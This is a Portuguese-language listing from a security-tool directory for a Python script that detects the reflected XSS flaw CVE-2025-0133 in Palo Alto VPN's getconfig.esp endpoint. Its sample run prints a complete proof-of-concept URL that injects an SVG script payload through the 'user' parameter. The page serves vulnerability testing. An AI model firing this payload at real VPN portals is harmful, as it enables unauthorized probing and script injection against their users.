Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-0133-exploit — Script Python para detectar a vulnerabilidade XSS refletida CVE-2025-0133 no Palo Alto VPN ao sondar o endpoint getconfig.esp e injetar payloads XSS. | Kitploit
Ferramentas/GitHubGitHub/shawarkhanethicalhacker/cve-2025-0133-exploit
Scanners de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubshawarkhanethicalhacker/cve-2025-0133-exploit

CVE-2025-0133-exploit

Script Python para detectar a vulnerabilidade XSS refletida CVE-2025-0133 no Palo Alto VPN ao sondar o endpoint getconfig.esp e injetar payloads XSS.

Ver Repositório
3há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-0133 Varredura

Um script escrito em Python apenas para verificar a existência da vulnerabilidade CVE-2025-0133 Reflected Cross-Site Scripting que ocorre no Palo Alto. O arquivo getconfig.esp é detectado e testado para XSS usando o script fornecido.

Uso:

root@kitploit:~
darkfear@b0x:~/CVE-2025-0133-exploit$ python3 cve-2025-0133_scan.py -u https://target.com
[*] Sending initial probe to https://target.com/ssl-vpn/getconfig.esp
[+] Target is using "Palo Alto". Testing XSS...
[*] Sending XSS payload...
[+] Target is VULNERABLE to reflected XSS.
[+] URL: https://target.com/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
Baixar ferramenta